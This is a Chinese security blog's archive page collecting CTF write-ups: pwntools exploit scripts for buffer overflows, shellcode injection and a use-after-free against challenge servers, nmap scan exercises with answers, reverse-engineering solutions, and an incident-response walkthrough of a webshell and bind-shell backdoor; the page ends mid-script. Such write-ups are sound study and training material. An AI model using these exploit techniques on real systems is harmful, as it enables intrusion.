首页
实用工具
我的旅程
在线壁纸
更多
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索
1
【工具分享】逆向工具箱 - 次元剑
89,537 阅读
2
【技术分享】PE文件结构分析 ( RVA转FOA )
7,350 阅读
3
【技术分享】NASM x86 Assembly Language
5,982 阅读
4
【技术分享】CK竞技之王游戏辅助制作
3,725 阅读
5
【每日随记】天涯明月刀无限飞修改思路
2,816 阅读
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
Search
标签搜索
Windows
Web安全
Python3
Linux
逆向工程
CTF
红队技术
人工智能
C/C++
黑客工具
Go
密码学
二进制安全
数学
漏洞挖掘
Android
eNSP
渗透测试
蓝队技术
黑客大会
发光的神
累计撰写
160
篇文章
累计收到
103
条评论
首页
栏目
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
页面
实用工具
我的旅程
在线壁纸
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索到
24
篇与
的结果
2023-09-26
【技术分享】2023年PolarCTF挑战赛Pwn篇
小狗汪汪汪以下命令可以以首字母简写。checksec woof拿到题目先查下,有哪些地方被保护了,这里就 NX 开启了保护其他没什么。NX 就是程序的栈段不允许执行代码,用来防止栈溢出攻击中植入的 shellcode 执行。gdb woof这里就直接用 gdb 进行调试了,先导入程序分析下。info functions // 查看函数表查看有哪些函数,发现有一个很敏感的函数 getshell 因为这道题跟小狗有关,这里我也加上了dog,这两个函数可以都看看。break main // 断点main函数 run这里我就在 main 函数下个断点吧,让它先跑起来。next跑起来后就单步步过,按 n 键一直往下走,直到执行让我们输入的时候,这里我正常输入几个 a 然后回车,程序就会停下来。再查看堆栈,这里 esp 是栈顶,ebp是栈底,如何溢出呢?只要我们填充垃圾数据 a * 13 字节就能到函数返回,这个时候只要在溢出的返回点传入一个地址,那么就会执行。在使用 pwntools 模块 payload 的构造就是这样的 b'a' * 13 + p32(0x804859b),因为程序是 32 位的所以 p32。cyclic 100实在不太懂怎么得出的 13 也可以用溢出的方式计算出地址的偏移量,这里我生成了100字节的垃圾数据,进行输入填充。cyclic -l 0x65616161好了,现在就可以用 python 进行编写 exp 了。from pwn import * local = True if local: io = remote('120.46.59.242', 2116) else: io = process('./woof') payload = b'a' * 13 + p32(0x804859b) io.sendline(payload) io.interactive()play这里就用 IDA 进行分析了。进入主函数可以发现这里调用了两个函数,init 和 play 。进入 init 可以发现只是做了初始化,没什么用直接看play函数。可以发现这里有个变量 var_30 它的大小是 30h 转换成 10进制那么就是 48,而 gets 用的变量正是 var_30 可以存储的大小也就是 48 个字节了。在 gets 上面还有一个 _read 函数,它的 buf 正好是 .bss 段,我们可以通过第一次输入 _read 写入 shellcode 第二次 gets 溢出到返回到 shellcode 执行。我们已经知道了是 48 然后程序是 64位的那么要 + 8, 48(缓冲区大小)+ 4(覆盖 rbp)+ 4(覆盖返回地址)。from pwn import * context(arch='amd64', os='linux') local = True if local: io = remote('120.46.59.242', 2072) else: io = process('./play') shellcode = asm(shellcraft.sh()) io.sendlineafter('playing.\n', shellcode) offset = 0x38 buf = 0x6010A0 payload = b'a' * offset + p64(buf) io.sendline(payload) io.interactive()首先通过,第一个函数 _read 写入 shellcode 到 .bss 段,然后通过 gets 溢出到返回执行 shellcode 最终得到交互。heap_Easy_Uaf通过 checksec 发现开了 Canary 和 NX 不慌先用 IDA 看看。main函数里主要有一个菜单输出,然后就是 switch 选择,可利用的函数是 Are 函数。发现一个关键的地方,那就是 system('/bin/sh'),它被一个判断给包裹住了,仔细观察 a = malloc 申请了一个空间,通过 strcpy 把 flag 字符串复制到申请的地址 a 中,然后 free 又释放掉了 a,指针 a 并没有被置为NULL,而下面又使用被释放的 a 那么就存在一个 uaf 漏洞。用 sendafter 模拟等出 Choice! 字符串就发送 5,就会执行 are 函数然后输入大小 0x68 十进制是 104,满足后再输入 Flag,就满足所有条件了。from pwn import * local = True if local: io = remote('120.46.59.242',2069) else: io = process('./heap_Easy_Uaf') io.sendafter(b'Choice!', b'5') io.sendafter(b'size :', b'104') io.sendafter(b'Content :', b'Flag') io.interactive()
2023年09月26日
663 阅读
0 评论
111 点赞
2023-06-02
【CTF解题】2023年网络安全B模块练习
简介这套题目没有对应的环境,但是命令是对的,那个位置和命令都是是正确的,答案就按照实际情况来写吧,我这里只是模拟环境做了一遍。任务一1.通过 BT5 对服务器场景 Linux 进行 TCP 同步扫描 (使用工具 Nmap,使用参数 n,使用必须要使用的参数),并将该操作使用命令中必须要使用的参数作为 Flag 提交;(答案:sS)nmap -n -sS 192.168.20.1342.通过 BT5 对服务器场景 Linux 进行 TCP 同步扫描 (使用工具 Nmap,使用参数 n,使用必须要使用的参数),并将该操作显示结果中从下往上数第 4 行的服务器信息作为 Flag 提交;(答案:873)# 这道题的答案:按实际情况来,就是往下数第4个。 nmap -n -sS 192.168.20.1343.通过 BT5 对服务器场景 Linux 不 ping 主机进行扫描(使用工具 Nmap,使用参数 n,使用必须要使用的参数),并将该操作使用命令中必须要使用的参数作为 Flag 提交;(答案:P0)nmap -P0 -n -sS 192.168.20.1344.通过 BT5 对服务器场景 Linux 不 ping 主机进行扫描(使用工具 Nmap,使用参数 n,使用必须要使用的参数),并将该操作显示结果中从下往上数第 10 行的“:”后的数字作为 Flag 提交;(答案:995)nmap -P0 -n -sS 192.168.20.1345.通过BT5对服务器场景Linux进行UDP扫描渗透测试只扫描53,111端口(使用工具Nmap,使用参数 n,使用必须要使用的参数),并将该操作显示结果中 111 端口的状态信息作为 Flag 提交;(答案:closed)nmap -sU -n -p 53, 111 192.168.20.1346.通过 BT5 对服务器场景 Linux 进行滑动窗口扫描渗透测试(使用工具 Nmap,使用必须要使用的参数),并将该操作使用命令中必须要使用的参数作为 Flag 提交;(答案:sW)nmap -sW -n 192.168.20.1347.通过 BT5 对服务器场景 Linux 进行 RPC 扫描扫描渗透测试(使用工具 Nmap,使用必须要使用的参数),并将该操作使用命令中必须要使用的参数作为 Flag 提交;(答案:sR)nmap -n -sR 192.168.20.1348.通过 BT5 对服务器场景 Linux 进行 RPC 扫描扫描渗透测试(使用工具 Nmap,使用必须要使用的参数),并将该操作显示结果中从下往上数第 7 行的服务信息作为 Flag 提交;(答案:http)nmap -n -sR 192.168.20.134总结参数说明-n禁止DNS反向解析-sSTCP扫描-sUUDP扫描-p指定端口-sWTCP端口扫描-sRRPC端口任务二1.通过 BT5 对服务器场景 Linux 进行秘密 FIN 扫描 (使用工具 Nmap,使用参数 n,使用必须要使用的参数),并将该操作使用命令中必须要使用的参数作为 Flag 提交;(答案:sF)nmap -n -sF 192.168.20.1342.通过 BT5 对服务器场景 Linux 进行秘密 FIN 扫描 (使用工具 Nmap,使用参数 n,使用必须要使用的参数),并将该操作显示结果中从下往上数第 7 行的端口信息作为 Flag 提交;(答案:80/tcp)# 端口没那么多,按实际情况来,往上数第7行就是了。 nmap -n -sF 192.168.20.1343.通过 BT5 对服务器场景 Linux 进行圣诞树(Xmas Tree)扫描(使用工具 Nmap,使用参数n,使用必须要使用的参数),并将该操作使用命令中必须要使用的参数作为 Flag 提交;(答案:sX)nmap -n -sX 192.168.20.1344.通过 BT5 对服务器场景 Linux 进行圣诞树(Xmas Tree)扫描(使用工具 Nmap,使用参数n,使用必须要使用的参数),并将该操作显示结果中从下往上数第 5 行的服务名称作为 Flag 提交;(答案:https)nmap -n -sX 192.168.20.1345.通过 BT5 对服务器场景 Linux 使用 SYN 包而不是用 ACK 包进行扫描渗透测试(使用工具Nmap,使用参数 n,使用必须要使用的参数),并将该操作使用命令中必须要使用的参数作为 Flag 提交;(答案:PS)nmap -n -PS 192.168.20.1346.通过 BT5 对服务器场景 Linux 使用 SYN 包而不是用 ACK 包进行扫描渗透测试(使用工具Nmap,使用必须要使用的参数),并将该操作显示结果中从下往上数第 8 行的服务状态作为 Flag 提交;(答案:open)namp -n -PS 192.168.20.1347.通过 BT5 对服务器场景 Linux 进行 ACK 和 ICMP 两种扫描类型并行的扫描渗透测试(使用工具 Nmap,使用必须要使用的参数),并将该操作使用命令中必须要使用的参数作为 Flag提交;(答案:PB)nmap -n -PB 192.168.20.1348.通过 BT5 对服务器场景 Linux 进行 ACK 和 ICMP 两种扫描类型并行的扫描渗透测试(使用工具 Nmap,使用必须要使用的参数),并将该操作显示结果中从下往上数第 3 行的服务名称作为 Flag 提交;(答案:mysql)nmap -n -PB 192.168.20.134总结参数说明-n禁止DNS反向解析-sX圣诞树扫描-PSTCP SYN 扫描-PBACP ICMP 扫描任务三1.在Kali中使用Nmap工具查看本地路由与接口,并将该操作使用的全部命令作为Flag提交;(答案:iflist)nmap -iflist 192.168.20.1342.通过 Kali 对服务器场景 Linux 进行 VNC 服务扫描渗透测试,并将使用的脚本名称作为 Flag 提交(例 MySQL-brute.nse);(答案:vnc-info.nse)cd /usr/share/nmap/scripts ls | grep vnc待更新...FTP弱口令1.在本地 PC 渗透测试平台 kali 中使用 zenmap 工具扫描服务器场景 Server18-1 所在网段(例如:172.16.101.0/24)范围内存活的主机 IP 地址和指定开放的 21、22、23 端口。并将该操作使用的命令中必须要添加的字符串作为 FLAG 提交(忽略 ip 地址);(答案:-p 21,22,23)nmap 192.168.20.134 -p 21,22,232.通过本地 PC 中渗透测试平台 kali 对服务器场景 Server18-1 进行系统服务及版本扫描渗透测试,并将该操作显示结果中 FTP 服务对应的服务端口信息作为 FLAG 提交;(答案:ssh)
2023年06月02日
167 阅读
0 评论
10 点赞
2023-01-31
【CTF解题】Ctfshow 年CTF解题
比赛概述比赛名称:年CTF比赛地址:https://ctf.show/challenges比赛难度:欢乐过年新手福利题目 分布为3个web 3个misc 2个crypto比赛时间:除夕12时至初七20时比赛奖励:一血随机数红包除夕题目暗示:CTFshow陪你跨年CTF!如果,2022过去,不是2023呢?<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2023-01-18 11:36:09 # @Last Modified by: h1xa # @Last Modified time: 2023-01-19 10:18:44 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ include "flag.php"; $year = $_GET['year']; if($year==2022 && $year+1!==2023){ echo $flag; }else{ highlight_file(__FILE__); }构造Pl?year=2022.a这道题看起来有点逻辑错误问题当year=2022 同时 2022+1不能等于 2023,满足这两个条件才能拿到flag,显然这是不可能的,注意到 == 是弱类型比较,尝试构建payload绕过。初一题目暗示:2023是兔年,密码也是。聪明的小伙伴们,你能破解出下面的密码吗?感谢大菜鸡师傅出题flag格式是ctfshow{xxxxxx}.或许密码也有密码。密文是:U2FsdGVkX1+M7duRffUvQgJlESPf+OTV2i4TJpc9YybgZ9ONmPk/RJje这个题目很可能与兔子有关,通过搜索发现有一种解密方法叫做Ribbit,因为2023年是兔年,所以可以猜测是2023。初二题目暗示:老g师傅最近发现了一个有趣的ctf工具,你能找出flag吗?感谢g4_simon师傅出题附件下载地址 https://ctfshow.lanzoub.com/iU97y0l73rrg通过下载一个压缩包,包中有两个文件。其中一个是Python可执行文件,尝试使用这个工具和flag.ws一起运行,但输出结果是 "你知道如何运行WhiteSpace_Code,但你的flag不在这里。",看了提示最终发现 flag并不在flag.ws中,而是在ws_interpreter.py文件内。初五神秘人送来了半个世纪前的无线电信号,但是只能分别出以下的密文:YDHML_QKA_PDK_HVD_NAHI_OQ_K_GR据说上面的无线电信号代表的是中文,由红岸基地发往半人马星系半个世纪过去了,你能破解它的涵义吗?提交flag请加上ctfshow{}格式,如ctfshow{新春快乐} 感谢大菜鸡师傅出题通过逐个解码,将其组合起来,即可得到flag。ctfshow{新春快乐兔年大吉}解码地址:http://cangjie.quchacha.com/GR.html官方wphttps://ctf-show.feishu.cn/docx/O5nUduzAMobhEtxeuZpcS78AnOb
2023年01月31日
338 阅读
0 评论
4 点赞
2022-12-08
【CTF解题】2022浙江省信息安全管理与评估解题
留言有逆向题!来劲了,让我看看你有多难,平时做的最多的就是逆向了,还是比较喜欢这个领域。程序逆向登录FTP下载Reverse.rar文件,用户名:ftp,密码:空 下载文件并解压。1.分析程序reverse_0,请找出隐藏信息,并将flag提交。flag格式:flag{<flag值>}2.分析程序reverse_1,请找出隐藏信息,并将flag提交。flag格式:flag{<flag值>}3.分析程序reverse_2,请找出隐藏信息,并将flag提交。flag格式:flag{<flag值>}4.分析程序reverse_3,请找出隐藏信息,并将flag提交。flag格式:flag{<flag值>}Reverse0 静态分析1.我已经从FTP服务器下载并解压了文件,现在有几个文件夹可供我查看。首先,让我仔细研究一下reverse0文件夹里的题目。2.在reverse0文件夹里,我发现了一个Windows PE程序。当我运行该程序并输入几个数字后按回车,程序立刻就退出了。为了更好地了解该程序的工作原理,我决定使用IDA进行代码分析。3.直接用IDA64位打开,注意:32位和64位程序,架构上是不一样的,我没有用查壳工具进行分析,是因为没有必要,是不是32位或64位程序有没有壳,用IDA一打开就能看的出来的,看提示显示AMD64这就是64位程序了。4.通过打开程序,我们可以在IDA的流程图中直接看到程序的分析结果。然而,为了让更多人理解分析的过程,我将继续在这里详细分析。5.通过在流程图界面按F5键,我们可以将反汇编代码转换为C语言代码,这样便于分析。请注意,这种转换可能不完全正确,因此最好保持分析反汇编代码的好习惯。为了节省时间,我们将直接查看转换后的C代码。int __cdecl main(int argc, const char **argv, const char **envp) { int b; // [rsp+28h] [rbp-8h] int a; // [rsp+2Ch] [rbp-4h] _main(); scanf("%d%d", &a, &b); // scanf是输入函数 这里传了两个变量 用来接收用户输入的数值 if ( a == b ) // 然后进行判断 a 等于 b 的话 那么就输出 flag。 printf("flag{this_Is_a_EaSyRe}"); else printf("sorry,you can't get flag"); // 否则就输出不能获取flag 为什么程序会退出呢 打开程序的时候。 return 0; // 输入了数值 直接就退出了,那是因为没有写暂停,即使你输入对了也不会给你看的时间。 }Reverse0 动态调试6.为了验证程序的行为,我们可以观察到,无论输入什么,程序总是会退出,为了停止它的执行,我们可以在x64dbg的帮助下使用断点,使任务简单而直接。7.然后按F8单步跳过,不进入call里,直到运行断点下方,scanf输入函数就执行起来了,这个时候我们才可以输入数值。8.在x64dbg中,按下F8就可以进行单步跳过,不进入被调用的代码段,一直到遇到断点后方的scanf输入函数,此时我们才能输入数值。flag{this_Is_a_EaSyRe}Reverse1 静态分析1.通过运行,我们发现程序需要我们输入一个正确的flag,进行判断。因为程序需要判断,所以其中一定包含了正确的flag,与我们输入的flag作比较,然后决定输出正确或错误的结果。2.让我们使用常用工具IDA来查看一下。打开后,我们意识到没有main函数。所以,我们将直接搜索关键字“flag”,看看是否有任何敏感信息3.使用快捷键Alt + T,在搜索框中输入关键词'flag'并回车,以查找相关信息。4.在IDA中, 我们使用alt + T快捷键, 输入关键字"flag"进行查询, 并通过查询发现了程序入口并识别到明显的"input the flag:"关键字. 现在, 我们可以使用F5继续进行分析。__int64 sub_1400118C0() { char *v0; // rdi 定义一个空字符指针 signed __int64 i; // rcx 定义一个64位有符号整数变量 size_t v2; // rax 定义一个无符号v2整数变量 size_t v3; // rax char v5; // [rsp+0h] [rbp-20h] 定义一个字符v5变量 int j; // [rsp+24h] [rbp+4h] char Str1; // [rsp+48h] [rbp+28h] unsigned __int64 v8; // [rsp+128h] [rbp+108h] v0 = &v5; for ( i = 82i64; i; --i ) { *(_DWORD *)v0 = -858993460; v0 += 4; } for ( j = 0; ; ++j ) { v8 = j; v2 = j_strlen(Str2); if ( v8 > v2 ) break; if ( Str2[j] == 111 ) Str2[j] = 48; } sub_1400111D1("input the flag:"); // 这是 printf 提示 sub_14001128F("%20s", &Str1); // 这是 scanf 输入 v3 = j_strlen(Str2); // 这里获取 str2 的长度 if ( !strncmp(&Str1, Str2, v3) ) // 然后判断做比较成立就 sub_1400111D1("this is the right flag!\n"); // 输出正确 else sub_1400111D1("wrong flag\n"); // 否则就错误 sub_14001113B(&v5, &unk_140019D00); return 0i64; }5.我们知道了要进行比较的值,但是不知道str2的值,我们可以通过按住Ctrl键并点击str2参数来查看它的值。6.进入内存后发现有一串字符串,它是'hello_world',不要以为它就是flag,因为这可能是个误导。代码分析#include <stdio.h> #include <cstring> int main() { char Str2[] = "{hello_world}"; for (int i = 0; i < strlen(Str2); i++) { if (Str2[i] == 111) { Str2[i] = 48; } } printf("%s", Str2); return 0; } /* 根据IDA的分析,代码通过遍历Str2字符串,并在找到字符'o'时将其替换为'0'。接着,代码通过使用strncmp函数进行比较,如果结果为真,就输出"正确"。 */Reverse1 动态调试{dplayer src="https://www.52tt.pro/usr/uploads/2022/12/1210.mp4"/}1.使用xdb64打开目标程序后,首先找到主函数入口。通过按Ctrl + F8让程序自动跳过并在停下时进入被调用的函数。在通过F7一直进入函数直到看到主函数的反汇编段,在 push 代码头部设置断点并单步运行。通过观察寄存器和堆栈里的内容,可以掌握程序执行完成后的结果。flag{hell0_w0rld}Reverse2 静态分析1.打开Reverse2题目发现是一个ELF文件,因此xdb64不能进行调试,但是可以使用IDA进行反汇编查看代码。2.打开ELF文件后,我们可以使用IDA工具查找主函数,通过查看流程图,我们可以发现有关键字的提示。接着我们可以使用快捷键F5将代码转换为C代码,以方便阅读和分析。int __cdecl main(int argc, const char **argv, const char **envp) { int result; // eax int stat_loc; // [rsp+4h] [rbp-3Ch] int i; // [rsp+8h] [rbp-38h] __pid_t pid; // [rsp+Ch] [rbp-34h] char s2; // [rsp+10h] [rbp-30h] unsigned __int64 v8; // [rsp+28h] [rbp-18h] v8 = __readfsqword(0x28u); pid = fork(); if ( pid ) { argv = &stat_loc; waitpid(pid, &stat_loc, 0); } else { for ( i = 0; i <= strlen(&flag); ++i ) // 遍历我们输入的flag { if ( *(&flag + i) == 105 || *(&flag + i) == 114 ) // 判断存在 i 或者 r *(&flag + i) = 49; // 成立就替换相应的位置 i 和 r } } printf("input the flag:", argv); // 输出提示 __isoc99_scanf("%20s", &s2); // 输入函数 用来接收 s2 地址的内容 if ( !strcmp(&flag, &s2) ) // 字符flag 与输入的 s2 进行比较 result = puts("this is the right flag!");// 满足条件就成立 else result = puts("wrong flag!"); // 不满足就错误 return result; }1.程序通过比较flag与我们输入的s2字符串,但我们不知道s2到底是什么。2.通过在IDA中使用快捷键 ctrl + 鼠标左键点击 &flag,我们可以查看 s2 存储的字符串 hacking_for_fun},并且结合前面的代码分析可以得出结果。flag{hack1ng_fo1_fun}Reverse3 静态分析1.需要使用IDA32打开Reverse3题目,因为它是一个32位的PE程序,架构与其他程序不同。2.通过使用IDA32,打开Reverse3题目,因为它是一个32位的PE程序,我们可以按F5键将它转换为C代码,以便更好地分析其内部代码实现。__int64 main_0() { size_t v0; // eax const char *v1; // eax size_t v2; // eax int v3; // edx __int64 v4; // ST08_8 signed int j; // [esp+DCh] [ebp-ACh] signed int i; // [esp+E8h] [ebp-A0h] signed int v8; // [esp+E8h] [ebp-A0h] char Dest[108]; // [esp+F4h] [ebp-94h] char Str; // [esp+160h] [ebp-28h] char v11; // [esp+17Ch] [ebp-Ch] for ( i = 0; i < 100; ++i ) { if ( (unsigned int)i >= 0x64 ) j____report_rangecheckfailure(); Dest[i] = 0; } sub_41132F("please enter the flag:"); sub_411375("%20s", &Str); v0 = j_strlen(&Str); v1 = (const char *)sub_4110BE(&Str, v0, &v11); strncpy(Dest, v1, 0x28u); v8 = j_strlen(Dest); for ( j = 0; j < v8; ++j ) // 是在这里做运算了。 Dest[j] += j; v2 = j_strlen(Dest); if ( !strncmp(Dest, Str2, v2) ) // dest 与 str2 进行比较 v2 是指定的字符位置 sub_41132F("rigth flag!\n"); // 成立就对了 else sub_41132F("wrong flag!\n"); // 否则就错误 HIDWORD(v4) = v3; LODWORD(v4) = 0; return v4; }package main import ( "encoding/base64" "fmt" ) var ( count string str = "e3nifIH9b_C@n@dH" ) func main() { for i := 0; i < len(str); i++ { count += string(int(str[i]) - i) } text, err := base64.StdEncoding.DecodeString(count) if err != nil { panic(err) } fmt.Println(string(text)) }import base64 cont = '' context = "e3nifIH9b_C@n@dH" for i in range(0,len(context)): cont += str(chr(ord(context[i])- i)) print(base64.b64decode(cont).decode())flag{i_l0ve_you}1.Reverse3题目使用了base64加密,通过ASCII码加循环运算进行加密,我用Go语言写了一个程序解密了它,太晚了,说的不详细,现在要睡了。Reverse3 动态调试2.通过动态调试,获得解密结果,提交后得到正确的答案,解题完成。应急响应如果是黑客攻击的话,黑客的流量入口一定是通过HTTP服务,这会在HTTP日志中留下痕迹,如上传恶意文件(如webshell,后门,rootkit等),从而导致恶意进程(如CPU利用率),恶意用户攻击路径对应的服务漏洞,以及本地漏洞等问题。题目11.提交攻击者的 IP 地址。通过研究网页服务,我们可以发现它正在使用Apache,许多软件和服务都有日志记录,我们可以通过分析Apache日志来更好地了解系统运行情况。cd /var/log/apache2awk -F " " '{print $1}' access.log.1 | sort | uniq -c awk -F " " '{print $1" "$4" "$7" "$6}' access.log.1 | sort uniq -c # 多行输出其中,$1、$4、$7、$6 分别代表 Apache access.log 日志文件中的第一个字段,第四个字段第七个字段和第六个字段。通过分析 Apache 日志,我们可以发现哪个 IP 地址连接次数最多,从而确定是否遭受了攻击。flag{192.168.1.7}awk -F " " '{print $7}' access.log.1 | sort | uniq -c题目22.识别攻击者使用的操作系统cat access.log.1 | grep "192.168.1.7" | head -n 1题目33.找出攻击者资产收集所使⽤的平台cat access.log.1 | grep "https"题目44.提交攻击者目录扫描所使用的工具名称常见的扫描工具dirsearch dirb gobuster dirbuster ffuf wfuzz题目55.提交攻击者首次攻击成功的时间,格式:DD/MM/YY:HH:MM:SS题目66.找到攻击者写入的恶意后的文件,提交⽂件名(完整路径)和后门密码 1.phpgrep -r "eval(" /var/www题目77.找到攻击者隐藏在正常web应用代码中的恶意代码,提交该文件名(完整路径) footer.phpfind . -name "*.php" | grep "1"题目8-9-108.识别系统中存在的恶意程序进程,提交进程名 ./prism9.找到⽂件系统中的恶意程序文件并提交⽂件名(完整路径)prism10.简要描述该恶意⽂件的⾏为crontab -l # 列出启动项 crontab -e # 编辑启动项通过观察系统任务周期,我们可以发现 Prism 程序的存在以及它的路径。find / -name prism cd /root/.mal/ ./prism inf0通过分析任务周期,可以确定程序的名称为 prism,在这个目录下,可以使用搜索功能找到 prism 并进入该目录,使用 history 命令查看过去的输入历史,以找到 prism 的运行参数,最后运行该程序,观察是否有任何变化。恶意行为运行恶意二进制文件,使用sh shell启动一个bind shell,等待恶意IP的连接,输入对应的密码即可与该shell建立连接。答题系统方法11.将解压后的源代码放入 phpstudy 服务器中,直接可以通过浏览器访问,"可以发现,该网站每三秒就会刷新一次,因此,我们需要做的是在三秒内作答并提交答案,以获得flag,由于人类难以计算,因此,我们可以利用编程或工具的力量来解决问题。import requests, re def main(): session = requests.Session() response = session.get("http://10.60.47.126:81/index.php") html = re.compile(r'<h2.*?>(.*?)</h2>', re.S) res = html.search(response.text).group(1) clac = re.sub("x","*", res) data = { 'answer': eval(clac[:-3]) } answer = session.post("http://10.60.47.126:81/check.php", data=data) print(answer.text) if __name__ == '__main__': main()方法2F12打开浏览器调试工具,在控制台中输入延迟函数 stop(100000),延迟网页刷新速度进行即可计算答题。流量分析题目1从靶机服务器的 FTP 上下载capture.pcapng数据包,账号名:ftp,密码:空,使用Wireshark分析数据包找出telnet服务器(路由器)的用戶名和密码,并将密码作为Flag值提交。flag格式:flag{密码}通过使用关键字搜索,我们可以发现相关的数据包。关键字 “invalid” 表示错误,而 “success” 则代表正确。我们可以使用过滤语句,追踪TCP流,逐个搜索关键字即可。/* telnet 账号:admin telnet 密码:Cisc0 */ flag{Cisc0}题目2使用Wireshark分析capture.pcapng数据流量包,telnet服务器是一台路由器,找出此台路由器的特权密码,并将密码作为Flag值提交。flag格式:flag{密码}通过对第一个问题的分析,我们获得了特权访问的密码。flag{cisco123}题目3通过结合协议和 IP 地址进行筛选,可以发现有 145 个数据包显示。这样就完成了分析。telnet and ip.src == 192.168.181.141flag{145}题目4通过过滤出 FTP 的命令,发现数量很少,可以用人眼手动分析。flag{PORT 192,168,181,1,235,130}题目7使用Wireshark分析capture.pcapng数据流量包,web服务器地址是192.168.181.250,其使用的脚本语言为php,将服务器使用php的版本号作为Flag值提交。flag格式:flag{php版本号}ip.src == 192.168.181.250 and httpflag{5.5.38}题目8使用Wireshark分析capture.pcapng数据流量包,web服务器地址是192.168.181.250,将web服务器软件的版本号作为Flag值提交。flag格式:flag{web软件版本号}ip.addr == 192.168.181.250 and http contains "Server"flag{2.2.15}题目9使用Wireshark分析capture.pcapng数据流量包,找出数据包当中所有HTTP状态码为404的报文,将这些报文的数量作为Flag值提交。flag格式:flag{报文数量}...题目11使用Wireshark分析capture.pcapng数据包文件,这些数据中有非常多的ICMP报文,这些报文中有大量的非正常ICMP报文,找出类型为重定向的所有报文,将报文重定向的数量作为Flag值提交。flag格式:flag{重定向数量}0:Echo Reply (回显应答)3:Destination Unreachable(目标不可达)5:Redirect(重定向)8:Echo Request(回显请求)11:Time Exceeded(超时)13:Timestamp Request(时间戳请求)14:Timestamp Reply(时间戳应答)15:Information Request(信息请求)16:Information Reply(信息应答)icmp.type eq 5flag{57}
2022年12月08日
899 阅读
0 评论
113 点赞
2022-12-03
【CTF解题】BUUCTF Reverse篇
APK 简单注册器APK程序逆向,这道题目比较简单判断flag成立就解密flag并输出。char[] x = "dd2940c04462b4dd7c450528835cca15".toCharArray(); x[2] = (char) ((x[2] + x[3]) - 50); x[4] = (char) ((x[2] + x[5]) - 48); x[30] = (char) ((x[31] + x[9]) - 48); x[14] = (char) ((x[27] + x[28]) - 97); for (int i = 0; i < 16; i++) { char a = x[31 - i]; x[31 - i] = x[i]; x[i] = a; } String bbb = String.valueOf(x); textview.setText("flag{" + bbb + "}");我们只需要按它的算法流程仿写,再运行一遍就能出flag。x = list("dd2940c04462b4dd7c450528835cca15") x[2] = chr(ord(x[2]) + ord(x[3]) - 50) x[4] = chr(ord(x[2]) + ord(x[5]) - 48) x[30] = chr(ord(x[31]) + ord(x[9]) - 48) x[14] = chr(ord(x[27]) + ord(x[28]) - 97) for i in range(16): a = x[31 - i] x[31 - i] = x[i] x[i] = a bbb = ''.join(x) print("flag{" + bbb + "}")flag{59acc538825054c7de4b26440c0999dd}
2022年12月03日
420 阅读
0 评论
121 点赞
2022-12-03
【CTF解题】BUUCTF Pwn篇
简介Pwn 二进制漏洞挖掘 ( 建立在二进制逆向的基础之上 ),在CTF比赛中Pwn题的目标是拿到flag,一般是在linux平台下通过二进制/系统调用等方式编写漏洞利用脚本 exp 来获取对方服务器的 shell,然后get到flag。环境准备首先用 Python 来编写exp,对于pwn最常用的模块就是 pwntools,可以用以下命令进行安装模块,更多使用方式可以自行查看 pwntools 帮助文档。pip install pwntools基本使用from pwn import * context.log_level = "debug" local = True if local: io = remote("node4.buuoj.cn", 29248) # 向目标主机,对应端口发送连接 else: io = process("./pwn1") # 本地进行连接调试 payload = "a" * (0xf + 8) + p64(0x401187) # 填充之后,覆盖返回地址,p32, p64打包为二进制;u32, u64解包为二进制 io.sendline(payload) # 发送编写的恶意代码 io.interactive() # 与远程服务器中的 shell 交互得到控制权# 发送 payload p.send(payload) #发送 payload p.sendline(payload) #发送 payload,并进行换行(末尾\n) p.sendafter(some_string, payload) #接收到 some_string 后, 发送你的 payload p.sendlineafter(some_string, payload) #接收到 some_string 后, 发送你的 payload,加个换行# 接收返回内容 p.recvn(N) #接受 N(数字) 字符 p.recvline() #接收一行输出 p.recvlines(N) #接收 N(数字) 行输出 p.recvuntil(some_string) #接收到 some_string 为止 p.interactive() #直接进行交互,相当于回到shell的模式,一般在取得shell之后使用 asm(shellcraft.sh()) # 生成 shellcodeELF# 首先需要 elf=ELF('./filename') 来产生一个对象 elf.symbols['a_function'] #找到 a_function 的地址 elf.got['a_function'] #找到 a_function的 got elf.plt['a_function'] #找到 a_function 的 plt elf.next(e.search("some_characters")) #找到包含 some_characters 可以是字符串,汇编代码或者某个数值的地址pwn1RELRO (Read-Only Relocations):该特性可防止对全局偏移量表(GOT)的篡改。开启 RELRO 保护后,动态链接器会将 GOT 设置为只读,从而防止攻击者利用 GOT 漏洞攻击程序。 Stack Canary:该特性是一种堆栈保护机制,可防止栈溢出攻击。当开启栈保护时,程序会在函数返回地址附近放置一个栈保护(canary)值。如果该值被篡改,程序会异常终止,防止栈溢出攻击。 NX (Non-Executable Stack):该特性可防止在程序的栈段执行恶意代码。开启 NX 保护后,程序的栈段不允许执行代码,从而防止栈溢出攻击中植入的 shellcode 执行。 PIE (Position Independent Executable):该特性使程序的代码位置随机化,增加攻击者预测代码位置的难度,从而防止有效攻击。 RWX (Read-Write-Execute):该属性使得程序的部分区域拥有可读、可写、可执行的权限,但同时也会增加程序的安全风险。 尝试运行下程序,看下是否存在缓冲区溢,随便输入字符 a 给它填充,发现果然有问题。直接进IDA看看吧,一进来就看到这个程序的主入口,里面的代码写的很简单这个题目比较经典。在这里先确定一下,多少个字节才会溢出,点击s进去查看一下,发现是F那么就是15个字节,只要溢出15个字符并把要跳转的内存地址打进去,就能拿下它了。可以看到 /bin/bash 字符串的地址是在 0x40186,我们需要让程序执行到这个地址上,现在已经知道了缓冲区的长度限制为 64 个字节,可以利用这个限制构造出一个恰好溢出到 rip 寄存器,来实现程序控制流转移到 /bin/bash 字符串的地址上,好开始编写exp。尝试利用漏洞进行攻击之前,可以在本地对漏洞进行调试,确保我们的攻击代码的正确性。根据提供的信息,可以将"很明显成功了"更明确地表达为"根据本地调试的结果,可以确定攻击成功"。from pwn import * local = True if local: io = 